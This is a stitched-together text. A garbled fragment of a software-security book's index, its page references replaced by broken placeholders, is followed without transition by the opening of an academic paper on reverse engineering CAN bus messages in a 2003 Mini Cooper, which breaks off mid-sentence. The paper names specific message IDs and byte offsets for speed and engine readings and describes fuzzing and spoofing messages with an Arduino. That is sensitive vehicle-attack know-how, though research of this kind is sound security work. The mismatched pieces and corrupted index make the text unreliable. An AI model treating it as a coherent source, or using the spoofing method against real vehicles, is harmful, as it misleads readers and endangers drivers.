[????.]) Uninitialized Variable Usage listing (7-6)(? [????.]) unique creation, UNIX temporary files(? [????.]) unititialized memory buffers(? [????.]) unititialized object attributes(? [????.]) unititialized variable usage(? [????.]) UNIX(? [????.]) BSD(? [????.]) securelevels(? [????.]) controlling terminals(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1230 daemons(? [????.]) directories(? [????.]) creating(? [????.]) entries(? [????.]) Filesystem Hierarchy Standard(? [????.]) mount points(? [????.]) parent directories(? [????.]) permissions(? [????.]) public directories(? [????.]) root directories(? [????.]) safety(? [????.]) working directories(? [????.]) domain sockets(? [????.]) 2nd(? [????.]) environment variables(? [????.]) file descriptors(? [????.]) 2nd(? [????.]) file IDs(? [????.]) file security(? [????.]) files(? [????.]) 2nd(? [????.]) 3rd(? [????.]) boot files(? [????.]) creating(? [????.]) desciprtors(? [????.]) device files(? [????.]) directories(? [????.]) filenames(? [????.]) inodes(? [????.]) kernel files(? [????.]) libraries(? [????.]) links(? [????.]) log files(? [????.]) named pipes(? [????.]) pathnames(? [????.]) paths(? [????.]) permissions(? [????.]) personal user files(? [????.]) proc file system(? [????.]) program configuration files(? [????.]) program files(? [????.]) race conditions(? [????.]) sharing(? [????.]) stdio file interface(? [????.]) system configuration files(? [????.]) temporary files(? [????.]) GECOS field(? [????.]) groups(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1231 effective groups(? [????.]) GIDs(? [????.]) GIDs (group IDs)(? [????.]) login groups(? [????.]) primary groups(? [????.]) real groups(? [????.]) saved set groups(? [????.]) secondary groups(? [????.]) setgid (set-group-id)(? [????.]) supplemental groups(? [????.]) 2nd(? [????.]) kernel(? [????.]) Linux(? [????.]) capabilities(? [????.]) file system IDs(? [????.]) mail spools(? [????.]) naming of(? [????.]) O_EXCL flag(? [????.]) open( ) system call(? [????.]) origins of(? [????.]) password files(? [????.]) pipes(? [????.]) POSIX standards(? [????.]) privileges(? [????.]) dropping permanently(? [????.]) 2nd(? [????.]) dropping temporarily(? [????.]) extensions(? [????.]) group ID functions(? [????.]) management code audits(? [????.]) programs(? [????.]) user ID functions(? [????.]) vunerabilities(? [????.]) processes(? [????.]) 2nd(? [????.]) attributes(? [????.]) child processes(? [????.]) children(? [????.]) creating(? [????.]) environment arrays(? [????.]) fork( ) system call(? [????.]) groups(? [????.]) interprocess communication(? [????.]) open( ) function(? [????.]) program invocation(? [????.]) RPCs (Remote Procedure Calls)(? [????.]) sessions(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1232 system file table(? [????.]) terminals(? [????.]) termination(? [????.]) program invocation(? [????.]) direct invocation(? [????.]) indirect invocation(? [????.]) resource limits(? [????.]) RPCs (Remote Procedure Calls) authentication(? [????.]) decoding routines(? [????.]) definition files(? [????.]) shadow password files(? [????.]) shell histories(? [????.]) shell login scripts(? [????.]) shell logon scripts(? [????.]) System V-IPC mechanisms(? [????.]) tools(? [????.]) UN*X(? [????.]) users(? [????.]) effective users(? [????.]) home directories(? [????.]) real users(? [????.]) saved set users(? [????.]) setuid (set-user-id)(? [????.]) shells(? [????.]) superusers(? [????.]) UIDs (user IDs)(? [????.]) 2nd(? [????.]) unlink( ) function(? [????.]) 2nd(? [????.]) UNLOCK method(? [????.]) unmask attribute, UNIX(? [????.]) unmask file permissions(? [????.]) unnecessary services(? [????.]) Unsigned Comparison Vulnerability listing (6-22)(? [????.]) unsigned integer types, C programming language(? [????.]) Unsigned Integer Underflow Example listing (6-4)(? [????.]) unsigned integers boundaries(? [????.]) 2nd(? [????.]) conversions(? [????.]) vunerabilities(? [????.]) narrowing(? [????.]) numeric overflow(? [????.]) numeric underflow(? [????.]) widening(? [????.]) unsigned-preserving promotions(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1233 untrustworthy credentials, authentication(? [????.]) Upgrade header field (HTTP)(? [????.]) uploading files, security(? [????.]) URG flags, TCP (Transmission Control Protocol)(? [????.]) URI header field (HTTP)(? [????.]) URIs (Uniform Resource Identifiers)(? [????.]) script URI(? [????.]) URLs, embedding state in(? [????.]) use cases, UML (Unified Markup Language)(? [????.]) use scenarios(? [????.]) uselib( ) function(? [????.]) User Datagram Protocol (UDP)(? [????.]) user IDs (UIDs), UNIX(? [????.]) functions(? [????.]) User-Agent header field (HTTP)(? [????.]) users, UNIX(? [????.]) effective users(? [????.]) file security(? [????.]) home directories(? [????.]) privilege vunerabilities(? [????.]) real users(? [????.]) saved set users(? [????.]) setuid (set-user-id)(? [????.]) shells(? [????.]) superusers(? [????.]) UIDs (userIDs)(? [????.]) user ID functions(? [????.]) user IDs (UIDs)(? [????.]) usual arithmetic conversions(? [????.]) 2nd(? [????.]) 3rd(? [????.]) UTF-16 encoding(? [????.]) UTF-8 encoding(? [????.]) utilitiy functions, HTTP (Hypertext Transfer Protocol)(? [????.]) 10.23 V Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] validation The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1234 authorization, insufficient validation(? [????.]) IP headers(? [????.]) name validation, DoS (denial of service) attacks(? [????.]) originator validation(? [????.]) TCP headers(? [????.]) UDP headers(? [????.]) value bits, unsigned integer types(? [????.]) value preservation, C programming language(? [????.]) value-preserving promotions(? [????.]) values, Windows NT registry, value squatting(? [????.]) Van der Linden, Peter(? [????.]) /var directory (UNIX)(? [????.]) variables auditing(? [????.]) arithmetic boundaries(? [????.]) initialization(? [????.]) lists(? [????.]) object management(? [????.]) structure management(? [????.]) tables(? [????.]) 2nd(? [????.]) type confusion(? [????.]) 2nd(? [????.]) environment variables(? [????.]) PATH_INFO(? [????.]) PThread API, condition variables(? [????.]) relationships(? [????.]) 2nd(? [????.]) Vary header field (HTTP)(? [????.]) VBScript(? [????.]) vendor ID payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) Version header field (HTTP)(? [????.]) versions of HTTP (Hypertext Transport Protocol)(? [????.]) vfork( ) function(? [????.]) Via header field (HTTP)(? [????.]) View component (MVC)(? [????.]) ViewState, ASP.NET(? [????.]) virtual device drivers(? [????.]) virtual memory areas (VMAs)(? [????.]) Virtual Memory System (VMS)(? [????.]) virtual private machines (VPNs)(? [????.]) virtualization(? [????.]) visibility of clients(? [????.]) Vista objects, namespaces(? [????.]) VMAs (virtual memory areas)(? [????.]) VMs (virtual machines), operational vulnerabilities, preventing(? [????.]) VMS (Virtual Memory System)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1235 VPNs (virtual private networks)(? [????.]) vreply( ) function(? [????.]) vsnprintf( ) function(? [????.]) Vulnerability in Filtering a Character Sequence #2 listing (8-26)(? [????.]) Vulnerability in Filtering a Character Sequence listing (8-25)(? [????.]) Vulnerable Hex-Decoding Routine for URIs listing (8-5)(? [????.]) vunerabilities accountability(? [????.]) authentication(? [????.]) insuffiecient validation(? [????.]) untrustworthy credentials(? [????.]) authorization(? [????.]) availability(? [????.]) encryption(? [????.]) integrity(? [????.]) operational vulnerabilities(? [????.]) access control(? [????.]) attack surfaces(? [????.]) authentication(? [????.]) default site installations(? [????.]) development protective measures(? [????.]) directory indexing(? [????.]) exposure(? [????.]) file handlers(? [????.]) host-based measures(? [????.]) HTTP request methods(? [????.]) insecure defaults(? [????.]) network profiles(? [????.]) network-based measures(? [????.]) overly verbose error messages(? [????.]) public-facing administrative interfaces(? [????.]) secure channels(? [????.]) spoofing(? [????.]) unnecessary services(? [????.]) Web-specific vunerabilities(? [????.]) operational vunerabilities(? [????.]) operators right shift(? [????.]) 2nd(? [????.]) size(? [????.]) pointers(? [????.]) software(? [????.]) 2nd(? [????.]) bugs(? [????.]) classifying(? [????.]) data flow(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1236 design vunerabilities(? [????.]) environmental attacks(? [????.]) exceptional conditions(? [????.]) implementation vunerabilities(? [????.]) input(? [????.]) interfaces(? [????.]) operational vunerabilities(? [????.]) security policies(? [????.]) trust relationships(? [????.]) type conversions(? [????.]) C programming language(? [????.]) sign extensions(? [????.]) vunerability classes(? [????.]) 10.24 W Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] wait functions(? [????.]) waitable timer, Windows NT(? [????.]) Wang, Xiaoyun(? [????.]) Warning header field (HTTP)(? [????.]) waterfall models(? [????.]) wcsncpy( ) function(? [????.]) Web 2.0(? [????.]) Web applications access control(? [????.]) ASP (Active Server Pages)(? [????.]) configuration settings(? [????.]) cross-site scripting(? [????.]) file access(? [????.]) file inclusion(? [????.]) inline evaluation(? [????.]) shell invocation(? [????.]) SQL injection queries(? [????.]) 2nd(? [????.]) ASP.NET(? [????.]) configuration settings(? [????.]) cross-site scripting(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1237 file access(? [????.]) file inclusion(? [????.]) inline evaluation(? [????.]) shell invocation(? [????.]) SQL injection queries(? [????.]) auditing(? [????.]) activities to isolate(? [????.]) avoiding assumptions(? [????.]) black box testing(? [????.]) enumerating functionality(? [????.]) goals(? [????.]) multiple approaches(? [????.]) reverse-engineering(? [????.]) testing and experimentation(? [????.]) authentication(? [????.]) authorization(? [????.]) business logic(? [????.]) C/C++ problems(? [????.]) CGI (Common Gateway Interface)(? [????.]) 2nd(? [????.]) environment variables(? [????.]) indexed queries(? [????.]) client control(? [????.]) client visibility(? [????.]) dynamic content(? [????.]) ecryption(? [????.]) HTML (Hypertext Markup Langage)(? [????.]) HTTP (Hypertext Transport Protocol)(? [????.]) authentication(? [????.]) 2nd(? [????.]) cookies(? [????.]) embedded path information(? [????.]) forms(? [????.]) headers(? [????.]) methods(? [????.]) 2nd(? [????.]) overview of(? [????.]) parameter encoding(? [????.]) query strings(? [????.]) requests(? [????.]) responses(? [????.]) sessions(? [????.]) 2nd(? [????.]) state maintenance(? [????.]) versions(? [????.]) IDC (Internet Database Connection)(? [????.]) Java servlets(? [????.]) configuration settings(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1238 cross-site scripting(? [????.]) file access(? [????.]) file inclusion(? [????.]) inline evaluation(? [????.]) JSP file inclusion(? [????.]) shell invocation(? [????.]) SQL injection queries(? [????.]) threading(? [????.]) Web server APIs versus(? [????.]) N-tier architectures(? [????.]) 2nd(? [????.]) business tier(? [????.]) client tier(? [????.]) data tier(? [????.]) MVC (Model-View-Controller)(? [????.]) Web tier(? [????.]) 2nd(? [????.]) OS and file system interaction(? [????.]) execution(? [????.]) file uploading(? [????.]) null bytes(? [????.]) path traversal(? [????.]) programmatic SSI(? [????.]) overview of(? [????.]) page flow(? [????.]) parameters, transmitting(? [????.]) embedded path information(? [????.]) forms(? [????.]) GET method(? [????.]) 2nd(? [????.]) parameter encoding(? [????.]) POST method(? [????.]) query strings(? [????.]) Perl(? [????.]) cross-site scripting(? [????.]) file access(? [????.]) file inclusion(? [????.]) inline evaluation(? [????.]) shell invocation(? [????.]) SQL injection queries(? [????.]) taint mode(? [????.]) phishing and impersonation(? [????.]) PHP (PHP Hypertext Preprocessor)(? [????.]) configuration settings(? [????.]) cross-site scripting(? [????.]) file access(? [????.]) file inclusion(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1239 inline evaluation(? [????.]) shell invocation(? [????.]) 2nd(? [????.]) SQL injection queries(? [????.]) presentation logic(? [????.]) redundancy(? [????.]) security environment(? [????.]) server-side scripting(? [????.]) sessions(? [????.]) security vulnerabilities(? [????.]) session management(? [????.]) session tokens(? [????.]) SQL injection(? [????.]) parameterized queries(? [????.]) prepared statements(? [????.]) second order injection(? [????.]) stored procedures(? [????.]) testing for(? [????.]) SSIs (server-side includes)(? [????.]) static content(? [????.]) Struts framework(? [????.]) threading issues(? [????.]) URIs (Uniform Resource Identifiers)(? [????.]) Web server APIs(? [????.]) XML injection(? [????.]) XPath injection(? [????.]) XSLT (Extensible Stylesheet Language Transformation)(? [????.]) XSS (cross-site scripting)(? [????.]) Web Distributed Authoring and Versioning (WebDAV) methods(? [????.]) Web server APIs, Java servlets versus(? [????.]) Web servers APIs(? [????.]) directory indexing(? [????.]) server-side scripting(? [????.]) server-side transformation(? [????.]) SSIs (server-side includes)(? [????.]) Web Services(? [????.]) AJAX (Asynchronous JavaScript and XML)(? [????.]) REST (Representational State Transfer)(? [????.]) SOAP (Simple Object Access Protocol)(? [????.]) Web Services Description Language (WSDL)(? [????.]) Web tier (Web applications)(? [????.]) 2nd(? [????.]) Web-specific vulnerabilities, applications(? [????.]) authentication(? [????.]) default site installations(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1240 directory indexing(? [????.]) file handlers(? [????.]) HTTP request methods(? [????.]) overly verbose error messages(? [????.]) public-facing administrative interfaces(? [????.]) web.config file, ASP.NET(? [????.]) WebDAV (Web Distributed Authoring and Versioning) methods(? [????.]) Weil, Alejandro David(? [????.]) WEP (Wired Equivalent Privacy)(? [????.]) white-list filters, metacharacters(? [????.]) Whitehead, Alfred North(? [????.]) Wi-Fi Protected Access (WPA)(? [????.]) WideCharToMultiByte( ) function(? [????.]) 2nd(? [????.]) width, integer types(? [????.]) 2nd(? [????.]) Wilson, Daniel H.(? [????.]) window scale option, TCP (Transmission Control Protocol) processing(? [????.]) window station, IPC (interprocess communications)(? [????.]) Windows functions, Unicode(? [????.]) Windows Internals, 4th Edition(? [????.]) Windows messaging, IPC (interprocess communications)(? [????.]) DDE (Dynamic Data Exchange)(? [????.]) desktop object(? [????.]) shatter attacks(? [????.]) window station(? [????.]) WTS (Windows Terminal Services)(? [????.]) Windows NT(? [????.]) 2nd(? [????.]) COM (Component Object Model) Active X security(? [????.]) application IDs(? [????.]) automation objects(? [????.]) 2nd(? [????.]) CLSID mapping(? [????.]) components(? [????.]) DCOM Configuration utility(? [????.]) interfaces(? [????.]) OLE (Object Linking and Embedding)(? [????.]) proxies(? [????.]) stubs(? [????.]) threading(? [????.]) type libraries(? [????.]) DCOM (Distibuted Component Object Model) access controls(? [????.]) application audits(? [????.]) application identity(? [????.]) application registration(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1241 ATL (Active Template Library)(? [????.]) DCOM Configuration utility(? [????.]) impersonation(? [????.]) interface audits(? [????.]) MIDL (Microsoft Interface Definition Language)(? [????.]) subsystem access permissions(? [????.]) development of(? [????.]) event objects(? [????.]) file access(? [????.]) canonicalization(? [????.]) case sensitivity(? [????.]) device files(? [????.]) DOS 8.3 filenames(? [????.]) extraneous filename characters(? [????.]) File I/O API(? [????.]) file open audits(? [????.]) file squatting(? [????.]) file streams(? [????.]) file types(? [????.]) links(? [????.]) permissions(? [????.]) IPC (interprocess communications)(? [????.]) COM (Component Object Model)(? [????.]) DDE (Dynamic Data Exchange)(? [????.]) desktop object(? [????.]) impersonation(? [????.]) mailslots(? [????.]) messaging(? [????.]) pipes(? [????.]) redirector(? [????.]) RPCs (Remote Procedure Calls)(? [????.]) security(? [????.]) shatter attacks(? [????.]) window station(? [????.]) WTS (Windows Terminal Services)(? [????.]) KOM (Kernel Object Manager)(? [????.]) multithreaded programs, synchronicity(? [????.]) mutex objects(? [????.]) namespaces(? [????.]) objects(? [????.]) boundary descriptor objects(? [????.]) handles(? [????.]) namespaces(? [????.]) nonsecurable objects(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1242 SymbolicLink objects(? [????.]) system objects(? [????.]) origins of(? [????.]) pipes anonymous pipes(? [????.]) creating(? [????.]) impersonation(? [????.]) named pipes(? [????.]) permissions(? [????.]) pipe squatting(? [????.]) POSIX subsystem, signals, handling(? [????.]) processes(? [????.]) DLL loading(? [????.]) loading(? [????.]) process synchronization(? [????.]) services(? [????.]) ShellExecute( ) function(? [????.]) ShellExecuteEx( ) function(? [????.]) registry(? [????.]) key permissions(? [????.]) key squatting(? [????.]) predefined keys(? [????.]) value squatting(? [????.]) RPCs (Remote Procedure Calls) ACFs (application configuration files)(? [????.]) application audits(? [????.]) connections(? [????.]) context handles(? [????.]) DCE (Distributed Computing Environment) RPCs(? [????.]) IDL file structure(? [????.]) impersonation(? [????.]) MIDL (Microsoft Interface Definition Language)(? [????.]) ONC (Open Network Computing) RPCs(? [????.]) proprietary state mechanisms(? [????.]) RPC servers(? [????.]) threading(? [????.]) transports(? [????.]) security descriptors(? [????.]) access masks(? [????.]) ACL inheritance(? [????.]) ACL permissions(? [????.]) programming interfaces(? [????.]) strings(? [????.]) semaphores(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1243 sessions(? [????.]) access tokens(? [????.]) 2nd(? [????.]) logon rights(? [????.]) SIDs (security IDs)(? [????.]) threads(? [????.]) waitable timer(? [????.]) Windows registry, path metacharacters(? [????.]) Windows System Programming(? [????.]) WinObj(? [????.]) Wired Equivalent Privacy (WEP)(? [????.]) Wojtczuk, Rafal(? [????.]) working directories, UNIX(? [????.]) working papers, application review(? [????.]) WPA (Wi-Fi Protected Access)(? [????.]) Writing Secure Code, 2nd Edition(? [????.]) 2nd(? [????.]) 3rd(? [????.]) writing to files, stdio file system(? [????.]) WSDL (Web Services Description Language)(? [????.]) _wsprintfW( ) function(? [????.]) WTS (Windows Terminal Services), Windows messaging(? [????.]) WWW-Authenticate header field (HTTP)(? [????.]) WWW-Link header field (HTTP)(? [????.]) WWW-Title header field (HTTP)(? [????.]) 10.25 X Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] XER (XML Encoding Rules), ASN.1 (Abstract Syntax Notation)(? [????.]) XF86_SVGA servers, privileges, misuse of(? [????.]) _xlate_ascii_write( ) function(? [????.]) XML (eXtensible Markup Language) encoding(? [????.]) injection(? [????.]) XML injection(? [????.]) XPath injection(? [????.]) XPath injection(? [????.]) XSLT (Extensible Stylesheet Language Transformation)(? [????.]) 2nd(? [????.]) XSS (cross-site scripting)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1244 10.26 Y Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] Yu, Hongbo(? [????.]) 10.27 Z Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] Zalewski, Michael(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) 5th(? [????.]) 6th(? [????.]) zero extensions(? [????.]) Zero-Extension Example listing (6-15)(? [????.]) zero-length fragment(? [????.]) zones, DNS (Domain Name System)(? [????.])
pdf
How to Hack Your Mini Cooper: Reverse Engineering CAN Messages on Passenger Automobiles Jason Staggs University of Tulsa Institute for Information Security Crash Reconstruction Research Consortium [email protected] ABSTRACT With the advent of modern vehicular technology, the computerized components of passenger vehicles have become increasingly interconnected to facilitate automotive efficiency, driving experience, and emissions control. Controller Area Networks (CANs) are well suited for intercommunications among these components, called electronic control units (ECUs). ECUs are used to communicate with critical control systems on automobiles including transmissions, braking, body control, and even vehicle infotainment systems. CAN networks are designed for high speed, reliable communications between ECU components operating in harsh environments. Unfortunately, the security of the underlying protocol is dubious at best. The Bosch CAN standard does not include inherent security mechanisms for authentication and validation of messages sent to various ECUs over a CAN network. Currently the only data security methods for CAN networks on passenger vehicles are the use of proprietary CAN message IDs and a physical boundary between the CAN bus and the outside world. This presents a serious security issue, because anyone with physical access to the vehicle's data bus could generate spoofed CAN traffic destined for various ECUs, some of which could be responsible for critical vehicle operations such as the braking system or engine control unit. To prevent this, manufactures of passenger vehicles do not publish the proprietary CAN message IDs for various components on the vehicle network. However, proprietary message IDs can be identified through a reverse engineering process. This paper identifies techniques for reverse engineering CAN messages on passenger vehicles, demonstrating the ease with which an attacker could manipulate CAN-enabled components of an automobile. The reverse engineering methodology is demonstrated by the transformation of the speedometer and tachometer (instrument cluster) of a 2003 Mini Cooper into a functional clock controlled via spoofed CAN messages sent by an Arduino microcontroller. 1. INTRODUCTION 1.1 Background As automobile components become increasingly computerized, inter-device communication is imperative for overall vehicle efficiency, emissions control, and diagnostic maintenance. In 1986, Bosch introduced the Controller Area Network (CAN) standard for automobile manufactures, in order to facilitate communication between microcontrollers on automobiles [1]. The CAN standard was designed as a multi-master broadcast serial bus, used to interconnect electronic control units (ECUs). At the physical layer, frame bits are encoded in a non-return to zero (NRZ) format over the wire, and facilitates the use of automatic collision detection with arbitration. Essentially, any message sent out by any node on a CAN network will be seen by all other nodes [4]. European manufactured automobiles were early adopters of CAN networks. However, since 2008, all cars sold in the U.S have been required to implement the CAN standard for EPA mandated diagnostic purposes. Newer cars manufactured today have an average of at least 70 ECUs for various subsystems. Instead of wiring individual computerized components together to form a complex mesh-style network topology, CAN allows for a more streamlined bus-style topology. This drastically reduces the amount of required wiring and allows for devices to communicate with one another more efficiently. ECUs in vehicles are inherently engineered for vehicle safety as the number one priority. Unfortunately, most of these components have not been designed with the consideration of an adversary with malicious intentions, whom has physical access to the vehicle. Although others may have dismissed the likelihood of the threat of physical access, it is still an important attack vector to consider. Current research in the areas of automotive computer security shows that these systems are not designed with any form of access control, allowing anyone with access to the data bus to wreak havoc on any of the connected systems. In 2010, researchers from The University of Washington and The University of California, San Diego demonstrated such attacks by interfacing with the on-board diagnostics (OBDII) port of a vehicle [2][3]. The researchers were successfully able to take complete control of critical components of the vehicle at rest and in motion by using simple replay attacks and fuzzing techniques over the CAN bus network. The lack of access controls on automobile networks creates an inherent security flaw, allowing for rogue, malicious CAN devices to be attached to the network. These devices could be leveraged in a way that could cause harm to other critical components on the automobile. The structure of a CAN frame is best described by an understanding of the notion of framing, also known as a delineated sequence of bits. The most notable fields in a standard format CAN frame include; Start of Frame (SOF), Identifier, Data Length Code (DLC), Data Field (0-7 bytes), CRC, and End of Frame (EOF). The Bosch CAN standard specifies that standard messages have 11-bit identifiers, which are unique for communicating with the proper CAN component. This field is also used for arbitration purposes such as message priority. Thus, a lower message ID corresponds to a higher message priority. This work analyzes the CAN bus of a 2003 Mini Cooper S which interconnects the instrument cluster, engine control unit, anti-lock braking system, steering angle sensors, and other systems (Figure 1-1). Since the message identifiers for the Mini Cooper are manufacture proprietary information, a methodology for reverse engineering CAN message identifiers is presented. Potential attack strategies are demonstrated, to show how an attacker could manipulate the interconnected components on the CAN bus. The reverse engineering method is used to build a CAN clock from scratch, using the instrument cluster of a 2003 Mini Cooper S that was involved in a staged auto collision with a GMC Envoy (Figure 1-2). This paper concludes with a discussion of the future of communication security for passenger vehicles and the security engineering mechanisms that should be considered early on in the development life cycle of ECUs and associated vehicle networks. Figure 1-1: Mini Cooper Data Network Figure 1-2: Wrecked 2003 Mini Cooper and Instrument Cluster Unit 2. PROCEDURE This section describes a methodology for reverse engineering proprietary CAN message IDs on passenger vehicles. We provide an example by using the CAN data log captured from a 2003 Mini Cooper that was involved in a staged vehicle collision. Next we demonstrate a proof of concept using the reverse engineered CAN IDs to manipulating the car's instrument cluster to generate artificial vehicle and engine speed CAN traffic to the instrument cluster (speedometer and tachometer). 2.1 Reverse Engineering Proprietary CAN Message IDs Unlike commercialized standards that run on top of CAN and leverages the CAN extended format that have well documented information regarding their component IDs such as SAE J1939, the Bosch CAN standard format only specifies how the protocol should work, but remains mute on what values should be used for particular CAN devices. The CAN standard format 11 bit message identifier is of interest to us here because it is the common passenger vehicle application. The ID is often used to determine how ECUs know what message to listen to. The CAN standard format does not define which message IDs are associated with what components, thus leaving the vehicle manufacture to define their own CAN message IDs to control various ECUs. Theoretically the standard format can have up to 2048 unique message IDs present on a CAN network as the standard format allows for 11 bit message IDs. Most actual message IDs used by manufactures of passenger vehicles such as GM, BMW, Ford, Honda, etc. are proprietary and this information is not made publicly available by automobile manufactures. Thus, a process is needed to reverse engineer these IDs to tie them to their actual components. During the staged crash of the Mini Cooper, a CAN data logging device was used to passively capture all CAN messages traversing across the network. Information that was captured included a timestamp, DLC, ID, and the data fields for each CAN messages (8 bytes) (Figure 2-1). Figure 2-1: CAN data log This data capture ran for 90 seconds during the staged head on collision involving the Mini Cooper. During that 90 seconds, about 107,000 CAN messages were recorded off of the CAN bus. This data was saved as a CSV file which allowed for parsing the data in several different ways. With the data log capture in hand, we needed a method to isolate the CAN message IDs that were of interest to us. Since we were interested in identifying which message IDs correspond with displaying vehicle and engine speed to the instrument cluster, we attempted to identify the IDs responsible for controlling the speedometer and tachometer. Initial observations of the raw data revealed that some IDs were present more often than others. That is, some message IDs are transmitted more frequently across the CAN bus over the duration of the capture. Initially, we hypnotized that the message IDs responsible for updating the vehicle and engine speed display gauges would be updated more frequently than other devices, thus having a lower message ID compared to other messages. Running a simple Bash script we parsed the data to identify only the unique message IDs and how often they were transmitted over the CAN network (Figure 2-2). Figure 2-2: Top 7 most frequently occurring messages on the CAN data bus Surprisingly, there were only 15 unique message IDs present on the CAN bus. Since there were only 15 message IDs on the bus we inferred that one of these messages was responsible for controlling the display gauges on the instrument cluster. The question now became a matter of which message ID, and which byte, or bit will need to be manipulated in order to achieve our desired effect? Now that we had an idea of the possible suspect message IDs, we needed to figure out which byte offsets are used that contain the vehicle and engine speeds. Each byte holds a value of up to 0xFF or 255 in decimal. The trick is to find which byte, bit, or combination of bytes are responsible for controlling the gauges. To do this we use a method for visually correlating physical system interactions with identifiable patterns. Essentially, we visualize the data values in each byte against the corresponding time stamp of the message throughout the duration of the data capture (90 seconds). Considering humans are inherently good at recognizing patterns, plotting each byte against the timestamp helps us identify a change in speed with the help of a scatter plot line graph. Using this method we graphed all bytes, individually, to identify recognizable patterns corresponding to a steady increase in data values over time, which was indicative of the vehicle speed for this staged automobile collision. Leveraging Microsoft Excel’s data plotting functionality, we filtered the data set to explicitly show data related to message ID 0x153 and then plotted each byte separately (Figure 2-3). Figure 2-4 show byte offset 2 from message ID 0x153 going from 0 to about 30 MPH starting at 75 seconds and then stopping at 90 seconds. (When collision occurred). Additionally, we also have prior knowledge from other external instruments attached to the car during the staged crash, that the top speed before impact was around 30 MPH so we know that message 0x153 byte offset 2 has to be associated with vehicle speed. Figure 2-3: Plotting data log ID and data fields with Excel Figure 2-4: Wheel speed vs. time Now that we have identified the message ID and byte offset for vehicle speed, we need to isolate the ID and data fields for engine speed. Because the Mini Cooper was propelled with a pulley system in the staged crash in which the data log was recorded, the actual engine speed was at a constant idle speed throughout the capture. Because of the engine speed being idle during the experiment, our previous method of visually identifying message IDs based on data value against timestamps will be ineffective for this ID. For the purposes of identifying the engine speed message ID, a series of fuzzing techniques were performed in which case all of the 15 unique ID's 8 byte data fields were fuzzed with arbitrary data. This brute force process was used until we witnessed the needle on the tachometer spinning arbitrarily. Using this iterative process, we find that message ID 0x316, byte offset 3, controls the tachometer display of engine speed. Table 2-1 shows the CAN message IDs that we were able to isolate to a device on the instrument cluster from the Mini Cooper CAN bus. Table 2-1: Reverse engineered CAN message IDs 2.2 CAN Clock Proof of Concept In this section we describe the steps in creating our proof of concept that simulates the effect an attacker could have on a vehicle, assuming she has physical access. In this demonstration we transform the speedometer and a tachometer from a wrecked 2003 Mini Cooper S into a literal clock, where the hours will be represented by the speedometer (0-120 MPH) and the minutes will be represented by the tachometer (0-6000 RPM). We build a CAN network with three physical CAN nodes. We generate CAN traffic by building a CAN ECU using an Arduino microcontroller, MCP1215 CAN controller, and MCP2551 CAN transceiver. Hardware Supplies  Arduino Uno "REV 3"  CAN-BUS Shield  Real Time Clock Module  2 x 120 ohm resistors  18 gauge twisted pair wire "CAN bus backbone"  Wire nuts  Tie wraps  12V DC power source  Mini Cooper S Instrument Cluster  18” x 14” board  2 x 1.5” x 1.625” x 1.25” brackets with bolts The first thing we did was mount the hardware onto a self- contained board. For prototyping purposes we used an 18” x 14” wood board to house the platform of our CAN 